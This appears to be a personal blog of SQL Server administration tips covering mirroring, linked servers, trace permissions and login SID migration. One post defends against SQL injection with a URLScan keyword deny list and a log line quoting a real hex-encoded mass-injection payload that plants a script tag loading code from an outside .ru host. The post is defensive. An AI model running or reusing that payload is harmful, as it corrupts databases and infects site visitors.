Brad Marsh’s Weblog

WOW, its been over a year since I posted anything last time… I am going to try and start investing some more time into my blog, so any readers that I still have I am sorry for the long gap – its been a busy period.

Anyways back to the help – lets start with a nice easy quick one. You might remember in SQL 2000 days to give some rights to trace you needed to give the user SYSADMIN rights, well gone are those days, while it still works lets face it, its not too secure is it!

— Use this for users that are AD based

— Use this for a SQL user

Twitter This

Usuario: Password:

Microsoft were nice enough to give us a feature within SQL 2005 which would allow us to grant a user permission to do a SQL trace using Profiler, without having to give them SQL SYSADMIN access… which is GOD access… that’s a big no no.

For SQL 2005 / 2008 users use the below

SQL user Example:

GRANT ALTER TRACE TO [UserNameHere];

AD user Example:

GRANT ALTER TRACE TO [domain\Myaccount];

For the SQL 2000 users sorry you still have to use sysadmin access but I did come across a nifty trick that may do the job.

“write a batch file that calls Profiler from the command line as follows:

profiler /Sserver /Uuser /Ppassword /Tx

Then I bought a batch file compiler (do a google search and lots come
up, most around $30) and compiled the batchfile in to an executable.
Now I just distribute the executable.”

Read the article here

Twitter This

Usuario: Password:

You might get the below event error if Database mirroring fails, or the auto failover for some reason does not work.

This below error will be found only on the witness server.

Event Type:    Error
Event Source:    MSSQL$SQLEXPRESS / MSSQLSERVER
Event Category:    (2)
Event ID:    1479
Date:        21/08/2009
Time:        4:29:18 PM
User:        N/A
Description:
The mirroring connection to "TCP://xxxxx.domain.com.au:5022" has timed out for database "YourDatabaseName" after 10 seconds without a response.  Check the service and network connections.

For more information, see Help and Support Center at http://go.microsoft.com/fwlink/events.asp.

You can easily increase the time of the time out of the mirror timeouts.

ALTER DATABASE yourdatabase SET PARTNER TIMEOUT 30

This will increase you database time out to 30 seconds.

Twitter This

Usuario: Password:

When attempting to modify a table design (by right clicking on the table and select ‘design’) you get and error something along the lines of:

Saving change is not permitted. the changes you have made require the following tables to be dropped and re-created. You have either made changes to a table that cant be re-created or enabled the option Prevent Saving changes that require the table to be re-created.

You can fix this quite easily by the following method

Tools Menu > Options > Designers > Untick ‘Prevent saving changes that require a table re-creation’

Done

Twitter This

Usuario: Password:

Creating a Linked Server in MSSQL for a MySQL database
1. Download the MySQL ODBC driver from mysql.com (download from here) and Install MySQL ODBC driver on the MSSQL Server

2. Create a DSN using the MySQL ODBC driver

Start > Settings > Control Panel > Administrative Tools > Data Sources (ODBC)

> Click on the System DSN tab
> Click Add
>Select the MySQL ODBC Driver
> Click Finish

On the Login Tab:
> Type a name for your DSN.
> Type the server name or IP Address into the Server text box.
> Type the username needed to connect to the MySQL database into the user text box.
> Type the password needed to connect to the MySQL database into the password text box.
> Select the database you want to be able link to.

> make sure you test your DSN by Clicking the ‘Test’ button

NOTES: If your test was unsuccessful, you may need to add the server you are connecting from to the allowed list, and ensure the user you are using has privileges to the database you are trying to link to

3. Creating a Linked Server in SSMS (SQL Server Management Studio) for the MySQL database

there is 2 ways of doing this,

1. Using the GUI

SSMS (SQL Server Management Studio -> Expand Server Objects
> Right Click Linked Servers -> Select New Linked Server
On the General Page:
> Linked Server: Type the Name for your Linked Server
> Server Type: Select Other Data Source
> Provider: Select Microsoft OLE DB Provider for ODBC Drivers
> Product name: Type MySQLDatabase
> Data Source: Type the name of the DSN you created
On The Security Page
> Map a login to the Remote User and provide the Remote Users Password
> Click Add under Local server login to remote server login mappings:
> Select a Local Login From the drop down box
> Type the name of the Remote User
> Type the password for the Remote User

OR

2. through TSQL

– Add Linked Server
EXEC sp_addlinkedserver ‘mysqlDB’, ‘MySQL’, ‘MSDASQL’, Null, Null, ‘Driver={MySQL ODBC 5.1 Driver};DB=[DB_NAME];SERVER=[HOSTNAME];uid=[USER];pwd=[PASSWWORD]‘

Note: Change items enclosed with [  ] and the bold Items

Now test your linked server

if you are unable to connect there could be sevral problems here are a few things to check

Expand Providers > Right Click MSDASQL > Select Properties
> Enable Nested queries (not needed but handy)
> Enable Level zero only (this one’s the kicker)
> Enable Allow inprocess (this is a MUST)
> Enable Supports ‘Like’ operator (not needed but handy)

Change settings in SQL Server Surface Area Configuration for Features
> Enable OPENROWSET and OPENDATASOURCE support.

Restart SQL Server and SQL Server Agent

Run this TSQL (using the master database)

– Set up login mapping using current user’s security context
EXEC sp_addlinkedsrvlogin
@rmtsrvname = ‘mySQLDB‘,
@useself = ‘TRUE’,
@locallogin = NULL
GO

 
Note: change the bold items

Ok so now you should be able to connect

use this to ensure you can query you Link server

– List the tables on the linked server
EXEC sp_tables_ex ‘mysqlDB’
GO

 Note: change the bold items

Now if you need to query your table, you cant use the typical select statements, like

SELECT * FROM data.data1..test
or
SELECT * FROM data.data1.user.test

Seems as though not everything is exposed properly, your not going crazy!

using something like this will work

SELECT * FROM OPENQUERY(data, ‘SELECT * FROM TEST’)

this link explains it a lot better

http://benjolo.com/blog/2003/08/27/mysql-mssql-linked-tables-or-just-kill-me-now/

Twitter This

Usuario: Password:

this below article was published byNigel Maneffa, on www.sqlservercentral.com

I found it quite a good overview, while there is some ranting and raving, as to which I agree with, however after using the management studio for SQL 2008 (dev edition) I can see other undocumented and documented enhancements which are in standard edition, find them at the very bottom

I had downloaded and played a little with the SQL2008 CTPs, and the new features were impressing me, although it appeared that SQL2008 was a development of SQL2005, as SQL2000 was a development of SQL7 despite comments to the contrary. New headline features included backup compression, governors, policy framework, data compression, encryption, change data capture etc. But then I read the recently produced Microsoft documentation on version differences and see that none of them are in Standard edition, not one. They are all Enterprise features. SQL server may be moving more towards a data platform from just a database engine, but the platform appears to be somewhat narrow for non Enterprise users!

The official list of differences can be found here: http://download.microsoft.com/download/2/d/f/2df66c0c-fff2-4f2e-b739-bf4581cee533/SQLServer%202008CompareEnterpriseStandard.pdf

This posed a question – is it worth upgrading from SQL2005 Standard edition to SQL 2008 Standard edition?

Maybe we have been spoilt by Microsoft ‘giving away’ too many new features in the upgrade from SQL2000 to SQL2005. The potential performance/scalability differences between a say 32 bit 2 GB RAM SQL2000 Standard on NT4 Server and a 64 bit 32 GB RAM SQL2005 Standard on W2K3 Standard system is very large indeed, despite both the OS and SQL Server version being the Standard edition (a likely OS/SQL combination).

SQL2005 Standard offered such new goodies as clustering, unlimited RAM, mirroring (safety always on unfortunately), and log shipping – the unlimited RAM (to OS max) was a real eye opener when I saw the specification sheet, although the price of RAM made such levels of RAM just a paper exercise for typical Standard edition users. That is no longer the case, as RAM is now much more affordable. I would have capped the RAM on SQL2005 Standard edition to around the 8 GB mark, allowing an increase to say 16 GB in SQL2008. The 4 processor limit was a good selection IMO, although I can see disk IO being far more of a bottleneck in most servers of this specification.

SQL2005 Standard (still) did not support indexed views during optimisation, but I can afford to learn a bit about ‘noexpand’ with the money I had saved and still use the feature when required. As for partitioned data, that was ‘just for people with terabyte databases’ and data warehousing, and I would never see that sort of disk IO anytime soon. One feature that would have been useful was database snapshots, but I could see they would need to differentiate the versions. The parallel indexing I could live without too. They even threw in the (little used) CLR and service broker, and the (doomed) notification services.

One of the subsystems that I frequently use very heavily, merge replication, had so many new features in SQL2005 I could hardly keep count. I could also see on paper improvements for DTS/SSIS and reporting, but had written my own systems many years ago when SQL Server did not have them, so cannot comment on their improvements in practise.

Upgrading from SQL2000 Standard to SQL2005 Standard provided many new features. I remember the discussion at the time, when many thought that SQL2000 was good enough for many applications. I still think that is the case today to be truthful, but have used quite a few of the new SQL2005 features over the last year or two.

However, let’s look at what SQL2008 Standard offers over 2005 Standard.

• There are no processor or RAM improvements, not that they are required any more. Mirroring looks like it might be improved marginally.
• I am really peeved to see that backup compression has not made it to the Standard feature list.
• There are the usual incremental improvements in SSIS and Reporting, again which I do not use.

To cap it all the (to me) business critical merge replication has gained no features, but its growing deprecated item list makes it look more like it’s on the way out than moving ahead. The new sync services look interesting in the longer term, but offer nothing except a likely version 1.0 buglist for those wishing to take the early adopter plunge. With the massive increase in the number of Enterprise features I would have thought it would make great sense to throw in a few of the ‘old’ Enterprise features into the Standard edition – database snapshots would have been nice, or lock pages in memory.

Forgive me if I feel short changed, but that feature list does not look a great reason to upgrade. Or I have I failed to turn over the magic stone with hidden features?

So I am left looking at programming/development enhancements – date/time fields, HierarchyID, spatial, merge SQL statement etc. Nice but not critical. There are 2 features that have gained relatively little attention but might improve application performance dramatically for the applications I see – optimize for ad hoc workloads, and filtered indexes. It appears on the surface that these features apply to all editions.

So I am left with the question of whether to upgrade, or wait till the next version of SQL server. Or in the longer term investigate ‘cheaper’ alternatives such as MySQL, which will become ever more viable as the performance of hardware hides any performance deficiencies (either perceived or real). Bearing in mind I have ‘free’ upgrade rights within our Microsoft licensing agreement, I would be very worried if someone that can upgrade for free cannot see the benefits of using the new version.

A related topic is that the CTP’s and developer versions of SQL Server are in effect Enterprise versions, with all the features always on. I can understand this (particularly with the CTPs), but surely it must be simple to add a switch to tell developer version which edition you wish to emulate, so it is possible to develop against the edition that will be used in production. This problem was annoying in SQL2005, but the feature is critically required now, with the vast difference in feature set. I see that there is now a management view that tells you which Enterprise features need to be dropped to use a database in Standard edition.

It could be that Microsoft has done their homework well, and are really targeting the ‘Enterprise’ customer, and are less concerned about the Standard version than they were a few years ago as SQL Server moves more upmarket. I think that Microsoft should make sure that everyone gets something from upgrading, not just being forced to do so as the support for the older product eventually runs out. If they don’t provide improvements I can see slippage of SQL Server customers at the lower to middle range products.

Of course, if you run SQL 2000 Standard, upgrading to SQL2008 Standard (or maybe workgroup depending on which features you require) would be a great upgrade. Or am I already getting good value for money and should just be pleased that I am running a very reliable database system, and be happy to pay extra if I need any of the new features.

What do you think?

By Nigel Maneffa, 2008/10/21

So I said some undocumented changes, well at least I think they are undocumented, I have not yet come across any reading about them.

1. When you are restoring a file from the a device, and lets say the backup came from a different server, and the SQL data
and Logs resided in a different drive or location, you would always seem to have to go to the ‘options’ tab and change the location to your new location, even with all the Service Packs applied SQL 2005 continued to annoy me with this, while funnily enough SQL 2000 corrected the location automatically. Seems 2008 also does this too…

2. This is documented but worth bringing up powershell integrated with SQL 08, whilst we could powershell with 05, its just made it a little quicker by allowing us to click on the database we want to start powershell in, just another time saver.

3. Also documented but again a nice time saver rather than having to run TSQL statements to find info about the database, maintainance tasks, security, performance and more all we now have to do is right click the database and choose ‘Facets’

there are some other small functions that are helpful, which is across the most SQL 08 range.

I am also VERY disappointed that the backup compression / encryption didn’t make the cut in std edition, this should not be just an enterprise feature!

Twitter This

Usuario: Password:

With SQL Injections becoming more prevalent in the last few years we need to find better ways of deafening ourselves against these attacks, it seems that only the other week there was a new injection that has infected thousands of SQL servers [READ MORE HERE]

So here is a method that we can say bye bye to SQL Injection.

Well not completely, but maybe a large percentage of them how you ask… well simple code better… no no really I don’t claim to be a Developer / coder by any means and I would hate to think how hard it would be to cover every hole in a web application that was reasonably sized, in fact it might be near impossible?

Anyway back to the topic, I was alerted to an application that is called ‘URLScan’ (specifically 3.0 beta) it is a free Microsoft application, that acts as an ISAPI filter for II5.1, IIS6 and IIS7, after reading a bit about it my eyes were starting open wider and wider, the things that you can do with this tiny filter are simply amazing. It is nothing but a simple filter process where you can allow or deny access to file extensions, limit accepted URL length, Allow / deny Verbs, allow / deny access to URLstrings, the list goes on, now yes we can do some of these things in IIS, especially in IIS7 as it has brought a few of these functions to the table by default, but the ease of configuration and the expandability of this just blows using IIS additional security functions out of the water.

here is a screenshot of the default .ini file as you can see some of the many nifty features in the standard ini file. Some you will see that you can already control them in IIS.

So why would you use this over IIS for example in terms of the obvious what pages are accepted and pages are declined, well simple the logging is much easier read to the human eye, you can easily skim past it and find what you need quickly, IIS if you are logging everything (which if you run stats that collect IIS log files you will have this on) then the log files become quickly hard to read at first glance

here is a snippet of the log file output:

[08-13-2008 - 01:13:06] ----- UrlScan v3.0 Beta Config Initialization ----

[08-13-2008 - 01:13:06] The following verbs will be allowed: GET, HEAD, POST

[08-13-2008 - 01:13:06] The following extensions will not be allowed: .exe, .bat, .cmd, .com, .htw, .ida, .idq, .htr, .idc, .shtm, .shtml, .stm, .printer, .ini, .log, .pol, .dat, .config

[08-13-2008 - 01:13:06] The following URL sequences will be denied: .., ./, \, :, %%, &

[08-13-2008 - 01:13:06] The following Query String sequences will be denied: %%3C, %%3E, sql injection], appliesto=.asp,.aspx, denydatasection=sql injection strings, scanurl=0, scanallraw=0, scanquerystring=1, scanheaders=

[08-13-2008 - 01:13:06] The following rules are active: 

[08-13-2008 - 01:30:37] Client at 66.249.67.77: URL contains sequence '\', which is disallowed. Request will be rejected.  Site Instance='701014', Raw URL='/images%%5Cbtn_add.gif'

As you can see it shows URL scan is starting with what is being denied or allowed, the last line shows an entry where an IP address was denied access to a sequence.

I mentioned expandability previously, there is just so much you could do with this as an example here is some expandability you could tack into the ScanURL to stop SQL injections, its as simple as copy and paste into your INI file that’s it….

[SQL Injection]

AppliesTo=.asp,.aspx

DenyDataSection=SQL Injection Strings

ScanUrl=0

ScanAllRaw=0

ScanQueryString=1

ScanHeaders=

[SQL Injection Strings]

--

;%3b ; a semicolon

/*

@ ; also catches @@

char ; also catches nchar and varchar

alter

begin

cast

convert

create

cursor

declare

delete

drop

end

exec ; also catches execute

fetch

insert

kill

open

select

sys ; also catches sysobjects and syscolumns

table

update

[SQL Injection Headers]

AppliesTo=.asp,.aspx

DenyDataSection=SQL Injection Headers Strings

ScanUrl=0

ScanAllRaw=0

ScanQueryString=0

ScanHeaders=Cookie:

[SQL Injection Headers Strings]

--

@ ; also catches @@

alter

cast

convert

create

declare

delete

drop

exec ; also catches execute

fetch

insert

kill

select

Obviously there are problems with this because chances are that your web app uses some of these within a query string to retrieve the data from the database, but its a great starting point I would suggest running it all on a dev server test, watch the log file and see what is being queried, if you know it is needed then simply comment out the item that was denied, this will then allow it, its a simple process of elimination.

The other thing I have found with a considerably amount of SQL injections are they are very long strings, I found a number of Injections and then found the word count on them all, it averaged around 1050 characters, so if you web app doesn’t have extremely long query strings why not reduce the number of allowed characters???
say for example:

MaxQueryString=800

if you do this I do suggest monitoring this to ensure your web app is not in fact generating massive strings.

Since applying URLScan I have tried sending through Injections attacks (harmless ones) and so far they have failed and been caught by URLScan here is a an attempt from a log file from a test injection:

08-13-2008 – 00:54:46] Client at 190.77.130.45: Query string length exceeded maximum allowed. Request will be rejected. Site Instance=’2041367400′, QueryString= ‘ArticleID=335&PrintFriendly=True;DECLARE%%20@S%%20VARCHAR(4000);SET%%20@S=CAST(0×4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E393868732E72752F6A732E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F7220%%20AS%%20VARCHAR(4000));EXEC(@S);–’, Raw URL=’/Default.aspx’

Download URLScan 3.0 Beta (for x86 machines) here
Download URLScan 3.0 Beta (for x64 Machines) here

Twitter This

Usuario: Password:

This post is a follow on from a previous post ‘Complete Guide to SQL 2005 mirroring using the GUI‘

Now we know when Mirroring in the ‘High safety with automatic failover’ mode it will automatic failover, which works superbly, but a few questions for you, are you using SQL authentication for you databases? have you tried the failover and then tried to call your app through the failover server now as the principle server? Do you manually change your .config or use a script to do a find and replace if your web application is using a connection string?

If you answered

Yes to SQL authentication
No to trying the failover
Yes to manually change the connection string

this post if for you read on…

Lets start with the connection string, now hopefully your application is using .NET 2.0 or above, if it is you will be very happy to know you don’t have to script anything for when a server dies and your mirrored database takes over, for those using 1.1 or below UPGRADE, but if you cant well I under stand, you might want to read another post about a find and replace tool I found that will make your scripting life much easier for the failover it can be found here, anyway back to the .NET 2.0 users, if you are using a mirror then you will be very happy Microsoft have included some additional functionality within the connection string, where you can specify a failover partner, this will allow you to enter the failover’s server name or IP and once the principle mirror has failed you need not worry if you have the failover partner string within the connection string, it will detect this and failover immediately.

Here is an example:

Server=MyPrincipleDatabaseServer; Failover Partner=MyFailoverDatabaseServer;; Database=AdventureWorks;

it works perfectly, try it, you will be amazed.

find more info on the above here

Ok so manually change the connection string….. Check

now moving along to SQL authentication

If you use SQL authentication and lets say you take a backup of database and then restore it to another SQL server, what one thing that you will always have to do….?

give up… You will have to remove the user and then re-add the user to the database, why because the SID (security Identifier) is different on each SQL server, the same applies to mirroring, when you failover even though you are using the same user and password for the SQL authentication, the app / database will fail to work because once again just like a restore you will have to delete the user and then re-create it, one massive pain in the but, especially if you want automatic failover and then it does failover in the middle of the night, but yet all your databases still fail, now wouldn’t that just be a kick in the face.

However we have an easy fix for that, all you need to do is make the failover database SID the same as the principles SID for that user, or all users that you are using for the mirrored databases.

So first thing is getting the SID of the principle SQL server.

use the below script: (use master for the query)

SELECT 

'create login [' + p.name + '] ' + 

case when p.type in('U','G') then 'from windows ' else '' end +

'with ' +

case when p.type = 'S' then 'password = ' + master.sys.fn_varbintohexstr(l.password_hash) + ' hashed, ' +

'sid = ' + master.sys.fn_varbintohexstr(l.sid) + ', check_expiration = ' +

case when l.is_policy_checked > 0 then 'ON, ' else 'OFF, ' end + 'check_policy = ' + case when l.is_expiration_checked > 0 then 'ON, ' else 'OFF, ' end +

case when l.credential_id > 0 then 'credential = ' + c.name + ', ' else '' end 

else ''<
/span> end +

'default_database = ' + p.default_database_name +

case when len(p.default_language_name) > 0 then ', default_language = ' + p.default_language_name else '' end

FROM sys.server_principals p

LEFT JOIN sys.sql_logins l

ON p.principal_id = l.principal_id

LEFT JOIN sys.credentials c

ON  l.credential_id = c.credential_id

WHERE p.type in('S','U','G')

AND p.name <> 'sa'

once run you should see something like (you would probably have a heck of a lot more users)

Ok so find the user you want to replicate the SID on your Failover, for this example I am using test_user

The below is what I have pulled out directly from the above query for my Test_user

create login [test_user] with password = 0×01004981172537214b13a072a6674d0316673b48cbdadd184d3b hashed, sid = 0×6f7bd56e4f79ab4d89247b79180db390, check_expiration = OFF, check_policy = OFF, default_database = master, default_language = us_english

So now I want to copy user above and take its SID and re-create the user on my fail over so I would now go to the failover database and then run 

Use Master

create login [test_user] with password = 'PasswordGoesHere', sid = 0x6f7bd56e4f79ab4d89247b79180db390, check_expiration = OFF, check_policy = OFF, default_database = master, default_language = us_english

REMEMBER: to remove the hashed password replace it with a clear text password, I also advise to keep the password expiration off, other wise you will find yourself doing this task again and again, or worse yet forget about it and then when the SQL server fails, so does the mirror

Now that that is done time for that testing you answered No to, so lets start the test:

(I do suggest you try this on a dev environment before you do this on production)

go on to the primary and then tasks > Mirror > click on Failover

your failover I should now failover quickly and smoothly, without any manual intervention.

Now just one last thing that might be helpful, if you are running a mirror and your failover server is not the same spec as your Primary SQL server, or you just don’t want the databases to run on the failover server until the next failover, then you can run a TSQL script to make them go back to the primary database server:

Use master

ALTER DATABASE DatabaseNameHere SET PARTNER FAILOVER

go

Repeat this for each database, if you have hundreds of databases, do a SP_database and then copy to excel and then save to CSV and the play with it that way.

Twitter This

Usuario: Password:

Well it has occurred to me that there are no real guides to setting up mirroring that deal with what errors you could, or more like you will run into whilst setting up a mirror.

Ok for this example I am going to setup a ‘High safety with automatic failover’ this particular mirror uses a Principle server, failover server and a witness server, so for this example you will need 3 servers (you could get a way with 2 as the witness could be the failover, but best to have 3)

So first thing is first the prerequisites.

3 SQL 2005 server’s

Service Packs installed
at least SP1 applied, if this is not applied you will get an error saying that this feature is not enabled, you can enable this feature, however I recommend rather then playing with the startup values you patch your MSSQL server to the current SP for SQL.

MSSQL Service
You must have all three SQL servers using an account that has network access, by default most of us will have used the local system account, which in this case is not going to work, you will get this obscure error message when trying to start the mirror.

 All databases in FULL recovery Mode
both the mirror and the failover database both need to be in a Full recovery mode, if not you will get the below error

‘the database cannot be mirrored because it does not use the full recovery model’

If you get this, right click on your database and go to ‘properties’ then to ‘options’ you can change the mode their.

OK, Now your ready to start getting the mirror together

first thing is first, take a full backup of your database that you want to start mirroring, move this backup to a share or somewhere that your failover server can restore the database from.

Now using the same name of the database on the Principle server, create a database, then restore the database backup, make sure when restoring the database you are using the NORECOVERY method

You could use this TSQL to create and complete your database restore:

restore databasename from disk backup location and name with replace, NORECOVERY

example:

restore mydatabase from disk d:\SQL_backups\mydatabase.bak with replace, NORECOVERY

Ok now you should have a database on your failover server and it should be in a ‘restoring’ state, if you are not seeing this then refresh your databases, if you still don’t see then then you probably missed the NORECOVERY part, go back and do this again with NORECOVERY applied.

we are halfway there, all you need to do now is again create another backup on the principle server, but this time it must be a transactional backup. So once again create a new transactional backup, place the backup in a place where the fail over server can restore the database from, and then perform your restore again using the NORECOVERY method.

or do this from TSQL

restore mydatabase from disk  d:\SQL_backups\mydatabaseTRANSACTIONAL.TRN with NORECOVERY

Once again you will have a database that should be still in a restoring state.

If this step is missed or you restore an older TRN log file, then you can expect to get the following error when trying to create the mirror :

‘the mirror database …., has insufficient transaction log data to preserver log backup chain of the principle  database.

Now we are ready to start the mirroring!
right click on the principle database mirror, choose tasks followed by Mirror

You will be prompted with the following:

Click on security in the top right side

Yes we want to include a witness server, (in this case we are doing the high availability so we need a witness server for it to work)

Make sure all three are ticked

This is where we get to set the port that the mirroring is going to be using to connect to each other, and the endpoint name. I have accepted defaults, but before excepting default ports ensure that all of your servers can talk to each other throughout that port best way to test would be

telnet servername 5022

do this for all combinations so from:

principle to witness
principle to fail over

failover to principle
failover to witness

witness to Failover
witness to principle

If you can make successful connections to each then you are good to go.

Once you have run through the 3 database servers you will be prompted with the below screen:

Here if they are all on the same network and using integrated (AD) authentication which recommenced) then you may skip this, otherwise you will be required to enter in valid credentials

You should come to this screen after the review screen, if you have failed on one of the servers, then read the error and correct the problem (these errors are generally helpful ones )

Now start you mirror!

Other problems you may run into:

If you tried to start your mirror, and you get an error ‘one or more of the servers network addresses lacks a fully qualified domain name’  that’s an easy one, you must edit the server so it has a FQDN like server.domain.com if your DNS is being painful add it to the host file of the server you are setting the mirror up on.

That should be enough to get your mirror up and runn
ing

Stay tuned more on mirroring coming soon

as promised a new more in depth look auto- failover of SQL Mirroring, it can be found here, SQL 2005 Mirroring – Automatic Failover

Twitter This

Usuario: Password:

I came across this very useful script the other day, it simply creates a Stored Procedure, where it allows you to search all columns within every table of a selected database, While it was said to be tested on SQL 7 and 2000 I can confirm it works on SQL 2005 just as well

   1: CREATE PROC SearchAllTables

   2: (

   3:     @SearchStr nvarchar(100)

   4: )

   5: AS

   6: BEGIN

   7:  

   8:     -- Copyright © 2002 Narayana Vyas Kondreddi. All rights reserved.

   9:     -- Purpose: To search all columns of all tables for a given search string

  10:     -- Written by: Narayana Vyas Kondreddi

  11:     -- Site: http://vyaskn.tripod.com

  12:     -- Tested on: SQL Server 7.0 and SQL Server 2000

  13:     -- Date modified: 28th July 2002 22:50 GMT

  14:  

  15:  

  16:     CREATE TABLE #Results (ColumnName nvarchar(370), ColumnValue nvarchar(3630))

  17:  

  18:     SET NOCOUNT ON

  19:  

  20:     DECLARE @TableName nvarchar(256), @ColumnName nvarchar(128), @SearchStr2 nvarchar(110)

  21:     SET  @TableName = ''

  22:     SET @SearchStr2 = QUOTENAME('%' + @SearchStr + '%','''')

  23:  

  24:     WHILE @TableName IS NOT NULL

  25:     BEGIN

  26:         SET @ColumnName = ''

  27:         SET @TableName = 

  28:         (

  29:             SELECT MIN(QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME))

  30:             FROM     INFORMATION_SCHEMA.TABLES

  31:             WHERE         TABLE_TYPE = 'BASE TABLE'

  32:                 AND    QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME) > @TableName

  33:                 AND    OBJECTPROPERTY(

  34:                         OBJECT_ID(

  35:                             QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME)

  36:                              ), 'IsMSShipped'

  37:                                ) = 0

  38:         )

  39:  

  40:         WHILE (@TableName IS NOT NULL) AND (@ColumnName IS NOT NULL)

  41:         BEGIN

  42:             SET @ColumnName =

  43:             (

  44:                 SELECT MIN(QUOTENAME(COLUMN_NAME))

  45:                 FROM     INFORMATION_SCHEMA.COLUMNS

  46:                 WHERE         TABLE_SCHEMA    = PARSENAME(@TableName, 2)

  47:                     AND    TABLE_NAME    = PARSENAME(@TableName, 1)

  48:                     AND    DATA_TYPE IN ('char', 'varchar', 'nchar', 'nvarchar')

  49:                     AND    QUOTENAME(COLUMN_NAME) > @ColumnName

  50:             )

  51:     

  52:             IF @ColumnName IS NOT NULL

  53:             BEGIN

  54:                 INSERT INTO #Results

  55:                 EXEC

  56:                 (

  57:                     'SELECT ''' + @TableName + '.' + @ColumnName + ''', LEFT(' + @ColumnName + ', 3630) 

  58:                     FROM ' + @TableName + ' (NOLOCK) ' +

  59:                     ' WHERE ' + @ColumnName + ' LIKE ' + @SearchStr2

  60:                 )

  61:             END

  62:         END    

  63:     END

  64:  

  65:     SELECT ColumnName, ColumnValue FROM #Results

  66: END

Once you have ran the SP, you must call it, then within the ‘ ‘ you can type what you are looking for, the execute and wait!

EXEC SearchAllTables ‘your query here’

the original script was Found at :

http://vyaskn.tripod.com/search_all_columns_in_all_tables.htm

Twitter This

Usuario: Password: